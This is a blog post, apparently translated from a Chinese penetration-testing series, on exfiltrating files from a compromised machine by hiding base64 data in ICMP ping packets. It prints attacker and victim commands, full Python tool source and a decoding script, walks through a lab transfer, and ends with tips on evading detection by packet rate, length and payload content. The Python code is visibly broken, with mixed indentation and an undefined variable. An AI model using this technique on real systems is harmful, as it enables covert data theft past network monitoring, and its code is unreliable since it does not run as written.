Intranet penetration series: icmp_tran of intranet tunnel

foreword

This article studies a tool for ICMP tunneling, icmp_tran

github:github.com/NotSoSecure/icmp_tunnel_ex_filtrate

I. Overview

1 Introduction

Last updated in 2015, written in Python, base64 encodes the file and transmits it via an ICMP packet

condition:

  • The target machine can ping out
  • Target machine administrator privileges

2. Principle

For the principle of ICMP tunnel, see: Intranet Penetration Series: ICMP Tunnel of Intranet Tunnel

3. Use

(1) Server

tucpdump listens for and downloads files

sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt

run the sh script

./tran.sh

(2) Client

windows

icmp_tran.exe <file> <attacker-IP>

linux

sudo python icmp_tran.py <file> <attacker-IP>

2. Practice

1. Scene

Attacker (server): kali 192.168.10.128
Target (client): ubuntu 192.168.10.129

The target machine can ping the attacking machine
insert image description here

2. Establish a tunnel

(1) Attack aircraft monitoring

tucpdump listens for and downloads files

sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt

(2) The target machine sends

Prepare a test.zip file
insert image description here
to establish a tunnel to send

sudo python icmp_tran.py test.zip 192.168.10.128

(3) Attack aircraft conversion

Receive file
insert image description here
for conversion
insert image description here

zip file successfully
insert image description here

3. Take a look at the package

You can see that they are all ICMP packets, and the data is base64 encoded.
insert image description here

3. Explore

1. Source code and analysis

(1)icmp_tran.py

#!/usr/bin/env python2
# -*- coding: utf-8 -*-

import time
import socket
import struct
import select
import random
import asyncore
import os
import sys

ICMP_ECHO_REQUEST = 8 
TIME_OUT = 1 #时长视情况而定

ICMP_CODE = socket.getprotobyname('icmp')
ERROR_DESCR = {
    
    
    1: ' - Note that ICMP messages can only be sent from processes running as root.',
    10013: ' - Note that ICMP messages can only be sent by users or processes with administrator rights.'
    }

__all__ = ['create_packet', 'send_packet', 'verbose_ping', 'PingQuery', 'multi_ping_query']


def checksum(source_string):
    sum = 0
    count_to = (len(source_string) / 2) * 2
    count = 0
    while count < count_to:
        this_val = ord(source_string[count + 1])*256+ord(source_string[count])
        sum = sum + this_val
        sum = sum & 0xffffffff
        count = count + 2
    if count_to < len(source_string):
        sum = sum + ord(source_string[len(source_string) - 1])
        sum = sum & 0xffffffff
    sum = (sum >> 16) + (sum & 0xffff)
    sum = sum + (sum >> 16)
    answer = ~sum
    answer = answer & 0xffff
    answer = answer >> 8 | (answer << 8 & 0xff00)
    return answer
	
def create_packet(id):
    """构建一个echo request packet"""
    # header的构造是type (8), code (8), checksum (16), id (16), sequence (16)
    header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, 0, id, 1)
    data = "$$START$$"+line
    my_checksum = checksum(header + data)
    header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), id, 1)
    return header + data

def send_packet(dest_addr, timeout=TIME_OUT):
    # 确认能发送
    try:
        my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
    except socket.error as e:
        if e.errno in ERROR_DESCR: # 不是高权限
            raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
        raise 
    try:
        host = socket.gethostbyname(dest_addr) # host
    except socket.gaierror:
        return
    # 创建packet
    packet_id = int((id(timeout) * random.random()) % 65535)
    packet = create_packet(packet_id)
    # 发送packet
    while packet:
        sent = my_socket.sendto(packet, (dest_addr, 1))
        packet = packet[sent:]
    delay = receive_packet(my_socket, packet_id, time.time(), timeout)
    my_socket.close()
    return delay


def receive_packet(my_socket, packet_id, time_sent, timeout):
    time_left = timeout
    while True:
        ready = select.select([my_socket], [], [], time_left)
        if ready[0] == []: # Timeout
            return
        time_received = time.time()
        rec_packet, addr = my_socket.recvfrom(1024)
        icmp_header = rec_packet[20:28]
        type, code, checksum, p_id, sequence = struct.unpack('bbHHh', icmp_header)
        if p_id == packet_id:
            return time_received - time_sent
        time_left -= time_received - time_sent
        if time_left <= 0:
            return


def verbose_ping(dest_addr, timeout=2*TIME_OUT, count=1):
    for i in range(count):
        print('ping {}...'.format(dest_addr))
        delay = send_packet(dest_addr, timeout)
        if delay == None:
            print('failed. (Timeout within {} seconds.)'.format(timeout))
        else:
            delay = round(delay * 1000.0, 4)
            print('get ping in {} milliseconds.'.format(delay))
    print('')


class PingQuery(asyncore.dispatcher):
    def __init__(self, host, p_id, timeout=0.5, ignore_errors=False):
        asyncore.dispatcher.__init__(self)
        try:
            self.create_socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
        except socket.error as e:
            if e.errno in ERROR_DESCR:
                raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
            raise 
        self.time_received = 0
        self.time_sent = 0
        self.timeout = timeout
        self.packet_id = int((id(timeout) / p_id) % 65535)
        self.host = host
        self.packet = create_packet(self.packet_id)
        if ignore_errors:
            self.handle_error = self.do_not_handle_errors
            self.handle_expt = self.do_not_handle_errors

    def writable(self):
        return self.time_sent == 0

    def handle_write(self):
        self.time_sent = time.time()
        while self.packet:
            sent = self.sendto(self.packet, (self.host, 1))
            self.packet = self.packet[sent:]

    def readable(self):
        if (not self.writable()
            and self.timeout < (time.time() - self.time_sent)):
            self.close()
            return False
        return not self.writable()

    def handle_read(self):
        read_time = time.time()
        packet, addr = self.recvfrom(1024)
        header = packet[20:28]
        type, code, checksum, p_id, sequence = struct.unpack("bbHHh", header)
        if p_id == self.packet_id:
            self.time_received = read_time
            self.close()

    def get_result(self):
        if self.time_received > 0:
            return self.time_received - self.time_sent

    def get_host(self):
        return self.host

    def do_not_handle_errors(self):
        pass

    def create_socket(self, family, type, proto):
        sock = socket.socket(family, type, proto)
        sock.setblocking(0)
        self.set_socket(sock)
        self.family_and_type = family, type

    def handle_connect(self):
        pass

    def handle_accept(self):
        pass

    def handle_close(self):
        self.close()


def multi_ping_query(hosts, timeout=TIME_OUT, step=512, ignore_errors=False):
    results, host_list, id = {
    
    }, [], 0
    for host in hosts:
        try:
            host_list.append(socket.gethostbyname(host))
        except socket.gaierror:
            results[host] = None
    while host_list:
        sock_list = []
        for ip in host_list[:step]: #step最多是512
            id += 1
            sock_list.append(PingQuery(ip, id, timeout, ignore_errors))
            host_list.remove(ip)
        asyncore.loop(timeout)
        for sock in sock_list:
            results[sock.get_host()] = sock.get_result()
    return results


if __name__ == '__main__':
    msg = 'missing mandatory options. Execute as root:\n'
    msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
    print(msg)
	file=sys.argv[1]
	destination = sys.argv[2]
	# os.system("certutil -encode  "+ file +" test.txt") # windows
    os.system("base64  "+ file +" > test.txt") # linux
	f=open("test.txt", "r")
	for line in f:	
		text1= line[0:32]
		verbose_ping(destination)
		host_list = [destination]
		for host, ping in multi_ping_query(host_list).iteritems():
			print(host, '=', ping)

(2)tran.sh

is base64 decoding to get the file

#!/bin/bash

strings output.txt >> output1.txt
echo "[+] parsing the output.txt file"
grep -i start output1.txt | uniq >> transmitted.txt
sed -i -e 's/\$\$START\$\$//g' transmitted.txt
echo "[+] cleaning"
rm output1.txt
rm output.txt
echo "[+] tranmistted.txt created"
cat transmitted.txt |base64 -d >>test
echo "[+] file test created"

2. Detection and bypass

(1) The number of abnormal ICMP packets

10 packets within 0.01s. Of course, this is not related to the strategy, and it can be changed to the same interval as ping. The main reason is that it is over after sending a file, so maybe the world's martial arts can be fast but not broken, depending on the situation.
insert image description here

(2) Abnormal ICMP packet length

already split

(3) payload content

The content of the payload is still something that cannot be avoided

Normal ping command:

windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!#$%&’()+,-./01234567

The content is definitely different from the normal ping command,
but the content of send and receive are the same

Epilogue

Simply try how to upload files

Guess you like

Origin blog.csdn.net/weixin_44604541/article/details/118999155